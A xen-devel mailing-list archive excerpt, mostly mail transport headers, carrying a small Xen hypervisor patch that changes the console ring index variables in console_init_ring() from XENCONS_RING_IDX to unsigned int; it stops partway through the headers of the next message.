 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobeu-00DF4H-GQ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:24 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685165-e002-0a2a0a5209dd-0a2a4505de1c-28
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:24 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a68516a-4cb1-0a2a45050019-94a39217654c-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:24 +0200
Received: from pps.filterd (m0367124.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6G6EX728431
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:22 GMT
Received: from cy3pr05cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11013071.outbound.protection.outlook.com
 [40.93.201.71])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fpq0nr6xx-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:22 +0000 (GMT)
Received: from MN2PR05CA0052.namprd05.prod.outlook.com (2603:10b6:208:236::21)
 by CH3PR16MB6161.namprd16.prod.outlook.com (2603:10b6:610:1aa::22)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Tue, 28 Jul
 2026 06:51:19 +0000
Received: from BL6PEPF00022570.namprd02.prod.outlook.com
 (2603:10b6:208:236:cafe::10) by MN2PR05CA0052.outlook.office365.com
 (2603:10b6:208:236::21) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Tue,
 28 Jul 2026 06:51:18 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 BL6PEPF00022570.mail.protection.outlook.com (10.167.249.38) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:18 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6Zo70280187
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:17 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnc6atkhg-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:17 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obelwmVpu1FglobemwtA2E; Tue, 28 Jul 2026 06:51:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=MQ0
	1HjWbPMsbeTBIKfqVGVTXCbgBi39/10coPL09xRc=; b=nnhnhpERWr+xYeWJLnB
	c8TudxRwNIeqColq1tg/TzIu5lV8BsXd/icKsP9kvYXpVHqzWHA+qdN2hVg3cIxG
	eaelBw/AQbR7Gail2HwB4cbUxG1UN7NPo5lT3onPCuV4oeu7fEpq0x1Fde74WkQn
	ELB8U1HMZweqJ7E5IeIg3Fn++JpwUwl3nl9W20Ul5cka/rVAoMnNA2J0//IpAQuU
	YoOsrJLEuzVBzcV4v3uK8ZUwoX3ruTbnHk8WkK8HFG0Crz45ZwLLm8tZz3bifi8X
	94yakxX4hxb7kyWpI/D32i3EAqByFwWl6IIvYiRx1hm064e751YrsDYG/IB5jtlO
	SSQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KvWrULcS7/fzSqM3uG8GvI2vazAyFE5GhqTexsnBQ4N4FO67/DlpmJl+z3IP101te7kjxUnqJv07qnPQLGTK1GZDD1ZpoAGCwir8Iv2a1Bsjs3GJic+rZkY4tZlbHXdk+r2H14BqpUEWS1Xf6RbcRs5JCf2P41zHDF+Z6ONDBzaJkXi+z+AkYfG3koqZISURGNfhh0QYoE9BVmNXlbWy6IMl84R7aNi7hBC0IYuY0HbgadnD/t0HZKrTROtDPWQWO4QKW6bAB1SaETij7r8KmujixEOesX6h8EkF5rC85oKwy2gGjDN/LLX020cgFukhwfEKjOwEvjaBaem6a2BvVQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=MQ01HjWbPMsbeTBIKfqVGVTXCbgBi39/10coPL09xRc=;
 b=eds8fDUUgEH5frOdWx0wzsPRb9uF96HpA9/RvYiM2bHrSRm/N0XFhE3kG8Oj091ho4Emd3AIjnYzKSTTqsrS2ainluZHdOgTMvfMPiavxO+ml/oG4vwxTEQIY9c7CD5rrB2ZFi5JClGzGcN/jtaiXlBBUTATreLIwrQt7rmJSfmfdTo9DvbV8m9aq/0MZKflvOG9Mf9hunjcpeO32aruvcvaaLZ2vsT9+Qx4gTsBxOxZ4POrcCw+XPbVImlgaGJGF3L1o94TvcnB2MHP3sj0b/ER3BallG2/sC8WKMoboCcPTWAShh5DrGEStFaSkSaAA/tr3ldyHNL9enaZ51uS3A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=MQ01HjWbPMsbeTBIKfqVGVTXCbgBi39/10coPL09xRc=;
 b=O94nctrDzp+jEf/dySSX6e9ae+ffASyDCaYv78+x92ggiHjZbjNXxFgOUERLV8bf92QkMqV90Q+94IAHtEPtXw/T9M8TcPinZdEpr4AgIgJEy8s2qyDRglSSyQzfMfUbieXjJ53iasersEFdbuqq45gcWFRwQwR+mWGgu/JHCvo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=MQ01HjWbPMsbeTBIKfqVGVTXCbgBi39/10coPL09xRc=; b=
	kF1vb+sweUhwcUuYV0JxsQotnIQotv8CApFWEWjEdj+vWd+z6HC+OhHkwuFa5Ttd
	i2zP8WeauWB9i88/ItQF9rhJmpjRswb2NjOVIRGyulHwrh1rqHE5cHtPwzJC9a7W
	NokywVWvOdzdAD6qXflNcMerOB3V3O22Ujo5DUnAdLWIX85lQ7l8WBQ1UvUvS+RY
	4fJJstO6uWteVoGrxKpZCPYvr5MwsqX8C7XKinQ4TQJEWp61psU/F06WeuRKPyLc
	kK98fVWt0RLH/ut5EZtofAoEYlpWkkICrwRGFJC6UZ5iYkulIMD99g4vtR05ryFT
	T/DtHlddgsWLPzCchDeUOQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=MQ01HjW
	bPMsbeTBIKfqVGVTXCbgBi39/10coPL09xRc=; b=kgtahYPgJ5Ztn1dGkY+9YOV
	PNv5AMuzt2/Sfky0rwyTS4LN7fL6k6SD6NiwFtPfoShg6RXBCoBsO5mPahhjHvxS
	mvyjS+iH3umJbZQPlHWdUIssdC9+hVNBcbUdCNOmxlUtpogxwYXumi87wQmy6H+b
	zl134HTzxW9OotWfsAUZVMDlbn8R0oD40G6iIjKCN3E+Zqo8wYzcOUmGWyJn8gTM
	HhGiu0lJVy8wV1ziZssyDUroIuNYYf7wGmnBT9f5c++TOu+xfVDme+6wg/Tq6l++
	lWclgr7Evujw0Dak/hz/6GDDTI3WcpWzfrXych1LWSa9l+jo90HROGSweq8RdIA=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obelwmVpu1FglobemwtA2E
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 1/7] xen/console: do not use XENCONS_RING_IDX in console_init_ring()
Date: Mon, 27 Jul 2026 23:50:43 -0700
Message-ID: <20260728065049.1318143-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 phishscore=0
 lowpriorityscore=0 malwarescore=0 adultscore=0 bulkscore=0 suspectscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL6PEPF00022570:EE_|CH3PR16MB6161:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: bbe27f28-1265-4160-3a71-08deec74a053
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|36860700016|23010399003|376014|10067099003|6133799003|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	FJa6Z4NAtmMvQv3yoziVpYDJs9PNHS8yo5LbiY4u3Y8TlMyI6U9t7Hmzvfv0V09YG6h2GST9v8K4JtiOMLSJc7Kq/5G7QuDeNvymJ3uQLccbzffZu6RZNK7FwoNOG9PD3C5XdN8OZAOiTUIXTY6Y+lMYZ9VuVbIHoLXFzHw7qx4ghrTsPuv/chQS82YfG6S96eOK5Tz8Yyh3AhgfcS4pEjzTamM4iXdqIJegF/zkbb7QycwCQr4Lc+AJWFeUK4isW46ZlWsMWLJID+2kuc91Qi83sqvy6AUM2ZS+CouCr+Gll7Jg6dCICUbS3tiyAyAdknOJTEZfumx8NMKlB5VLkJI2ef9syZF01VXf2hH1Br0gQdjfIdRx/BPEKMzULSKpz/mvCpE4RsFQvaX89xoQDF5b2UcFVGTJ4mAo9gnfo0iElZQqOZtZDvIds9LZmk/WW8LlIMWVfQ6EeGAqk4prfawc3/63YAkM6AidV+qaWMluXO/B6DK/YYtpvZouoDgWWIkj9NCtG27tvZ9Z5dttLnr7YqdYAalT0rUHhQIGc4DaZYUeRaZY8tzG7QokKPegFr80HTrtSqUTW+64yrzoxUdLvUPSHpmxMRdS3ARghoDh+sVBle7U+8ADHK7bsGxxMVyUFWbZ+HFKCRCAVn5xQyzxjs7UU9ZMTNqjjoRgoaCDcoJgRNiUJxUjpUnM+NmzuSOtiI+7XEJj67559XT94Q==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(36860700016)(23010399003)(376014)(10067099003)(6133799003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	gwtX1aEAFb7/CLU+S8K8s4aDVgEyZ6xFL6cUaE4ngYag68xB+A0wyiyhCncUqNujooYGHCcUMeVzToqdSMfEtgGJOV48IxC2HycSJppKLmEpi5Eg8SCOvusgSQFZiOJzKIQ88LjtJep6XwhXvnT/NkCi0TrTAojf4TdkdeDaDu4ChYtHpn3i2ErgLS5ZSdcqD3Stm0w7CFxG410hC2X3ntd9wtawKWrkN1jRVdtn0S8ZARM1EdV0Yyb/L6K22Qq8VBqMHZeozSGgJtHTsbzE1MpcL973lcpnVXi8zP5jWgYwp6ZZAAUi52PLdOICZQmH9YuboLmqs6wb8bMY0ulywXKtawcerr3qni3U4IeW3crfhV2dnEQb7rEufctmnTTUN2Ya2b6yOEFacntTybBTgbJXo3cX4u0svM6tHaRKNz575bTnP4uoN1dxq3P37Wbi
X-Exchange-RoutingPolicyChecked:
	bC42gGbLt7cGa0TlxxriQjYTQ2mnRv+OAVvQ4e5TmBD5eHieQTmF+xcpqRXlMe17vunniljtVJ4y2yLENdRWFdsoJLp5px5eSVC82fn5iFQqohNuMpKG7gLe5I6C0FaTfnmOj4zs49OzcBEnbthVr3+dU4acFvMiIfHwVDKYJFsbIU523J74lp78SQsmTkP7htwCFBgjRujnmaETsA0ewyoznEyF5eR22p+6uPcLykb8uBts/RyRe27bdLZoqDTQE21iRgs4+h2AIlypJyT3hcG+Rc1sHewBUvElBnGbwZtJNM8xuGz5WZIxWnxEhIMcPEqdFlGYMgTaoWACd1MXlQ==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	Lzwfn/FyReq4xqHXN7zjPP7LJypA+WI4oTHf1uRY6ae02QYryyJgOA2ljKF8SghJ691K+91uK/FBqUCOq828Aw/nc7tzhpB617RBqV4xEy3CmvkpQry4q09yvR2lqeVXZsEWEJBH/y1+rfDR1KERQCDVr9BE2PQ81odQcoecxzB6fd2nEZ11Yan2WaD9CHUOO0HcHHlzAavxviEwtNaloxf14p130WaTU0YSCvmxEYv+zuJ8UzAYhcgkbce1fJfgBl7nC3jXK7+mYOo8Bew4fNA0McdUsi1zwNzEnE97qi1fUNUFn13DY5ckDcvtiL3IccZqgWSWpEkKGRxe8MD+Hd1rxX3U18ShBqbrybyQm81sW25imF4e2py+PhCdZOHo6nyBKTjERyUpjmnLvqAn9dYLQdExseNAne7WoL5SNRkEewNLS9Mac3G5b8RDbJZcD1ZoX7PVzAv10+nwIiO+Xr6fNHy1BKbAULoEo1Vg1YE6nkLDpzKWDgtaxvrNWdOQ/396QOsFoQpHh6fPkawNdunivzAtdznrj9QV1l+rfiDYRymwN7E4NJen+fuc25Az7R2iynXQUp39zpnzwk02JFX4dkVDDQgvaOKvzXbnwu0rilZfUJycakoEKLilqmSaq9elw7x79566RmVfxx9bqw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:18.2341
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: bbe27f28-1265-4160-3a71-08deec74a053
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL6PEPF00022570.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR16MB6161
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX7akA7kqxdwyp
 zTFyK5f3990RlVKYWsm9pkAiKhOUYGaTyc6YB6KRApdUzZqT5fqauC0SCMlfGFHWs4fHA2GeaA2
 jbqcG8JhTrO3HbxXuUl6lrbjKyJTrNEtlvD2CVqucDNfqj6xtjCG
X-Authority-Analysis: v=2.4 cv=bfhbluPB c=1 sm=1 tr=0 ts=6a68516a cx=c_pps
 a=J0RhwYao4za//xiv/28V8w==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=YJXg7OVxOWrJwj3yZo-i:22 a=cbNQJ9GKAAAA:8
 a=tHz9FfFoAAAA:8 a=aUZ9qqs2IOYyk4sMzWoA:9 a=3whSkbs7g9Me0DR5EJEX:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX/15f1QChb7Ln
 DtGFg+aowf4EKBYGPvwAAGdailUtTTyYMxrgeMSMbG4rT2po0A8xQA90RaesfZulJRHpK4TGmVx
 6hHXDKy8h0UJFKzBI3r2s5e1esuV2I+72oTWdeYIkw/SigEqL+1PSitrn1libihggyZxPf2G7fJ
 3B5Wj4S074IiPWiGuArQBIL4KESE9mN0DJSIN9rR1vEjgNatQUdD5kCTRpIgai4izl6umAQMnDa
 45AvQK9vqeoqXj7aynqWu5X+L4TvH0cfK8Vw4PjtxTCycNuP6GxTMH/uZV3z3q6xI35WGUNLkce
 tPlSInytFeZrcbwMS+pXNByjO5s1F+xCs6EsE2eCzFbYPpT9J7OiWgvHch0It4nJJPQYagxQKWo
 PL8r9dwPRCE/iN99rzHT82gFsU2ZcFZScle5oeyVaNj8VbG3KJjgA5MLb17USHUc5pgvNBqOrhU
 f3a1b5kEsbrcwDLop3w==
X-Proofpoint-GUID: vztqyefdiC7SYkeoX5ro7zfsprzOsC3s
X-Proofpoint-ORIG-GUID: vztqyefdiC7SYkeoX5ro7zfsprzOsC3s
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 priorityscore=1501 adultscore=0 impostorscore=0 spamscore=0
 phishscore=0 lowpriorityscore=0 clxscore=1015 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-c201ff/1785221484-730B22A1-02B9ED11/0/0
X-purgate-type: clean
X-purgate-size: 1431

From: Denis Mukhin <dmukhin@ford.com> 

Replace XENCONS_RING_IDX with unsigned int for the console ring indices,
as the console ring is not a Xen console (XENCONS) ring.

Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- new patch
---
 xen/drivers/char/console.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index ea4e3ff34178..37fdda93a4c1 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -463,7 +463,7 @@ static void cf_check conring_dump_keyhandler(unsigned char key)
 void __init console_init_ring(void)
 {
     char *ring;
-    XENCONS_RING_IDX done, size, n;
+    unsigned int done, size, n;
     unsigned int order, memflags;
     unsigned long flags;
 
@@ -484,8 +484,8 @@ void __init console_init_ring(void)
     size = conringp - conringc;
     for ( done = 0; done < size; done += n )
     {
-        XENCONS_RING_IDX src = (conringc + done) & (conring_size - 1);
-        XENCONS_RING_IDX dst = (conringc + done) & (opt_conring_size - 1);
+        unsigned int src = (conringc + done) & (conring_size - 1);
+        unsigned int dst = (conringc + done) & (opt_conring_size - 1);
 
         n = min(opt_conring_size - dst, conring_size - src);
         n = min(size - done, n);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372103.1619540 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobfC-0003Wu-Iw; Tue, 28 Jul 2026 06:51:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372103.1619540; Tue, 28 Jul 2026 06:51:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobfC-0003We-Fp; Tue, 28 Jul 2026 06:51:42 +0000
Received: by outflank-mailman (input) for mailman id 1372103;
 Tue, 28 Jul 2026 06:51:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobfB-0003Tk-9Q
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobfA-00A9s5-ME
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:40 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a68516f-2eae-0a2a0a5409dd-0a2a450284a2-38
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:40 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685177-6ca4-0a2a45020019-94a39217dfce-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:37 +0200
Received: from pps.filterd (m0482516.ppops.net [127.0.0.1])
 by m0482516.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66S4snKk544592
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 23:51:35 -0700
Received: from sn4pr0501cu005.outbound.protection.outlook.com
 (mail-southcentralusazon11011065.outbound.protection.outlook.com
 [40.93.194.65])
 by m0482516.ppops.net (PPS) with ESMTPS id 4fpntjgnsd-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 23:51:34 -0700 (PDT)
Received: from SJ0PR03CA0158.namprd03.prod.outlook.com (2603:10b6:a03:338::13)
 by SA0PR16MB3871.namprd16.prod.outlook.com (2603:10b6:806:86::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Tue, 28 Jul
 2026 06:51:32 +0000
Received: from SJ5PEPF00000206.namprd05.prod.outlook.com
 (2603:10b6:a03:338:cafe::93) by SJ0PR03CA0158.outlook.office365.com
 (2603:10b6:a03:338::13) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.13 via Frontend Transport; Tue,
 28 Jul 2026 06:51:32 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 SJ5PEPF00000206.mail.protection.outlook.com (10.167.244.39) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:31 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6d3H72911163
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:31 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbs72m2u-20
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:30 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obeywuJbpERZKobezwQkAy; Tue, 28 Jul 2026 06:51:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=oOT
	85RKKWjGhkhbuQtaAN75IZgB45d1wpAc2pCHqaKk=; b=AWH13VJlnzLqNyUFtZJ
	JvAlri7UO2mPt4yMraY4mBzilKVXkweSstInRaAPKQUa8fYjWhqDWVP5m4HTDY8S
	tsUuazimGnTWu942MkE2athFo2zldTudzIsgNH+pZrAe3qPDS0kH5pf+06ZxfBip
	QMiHfzaefEjqM/KzZesAf43I5lHxumZH47GOSRbpHCC58iQ3WwKHyOsSeC3bVJC/
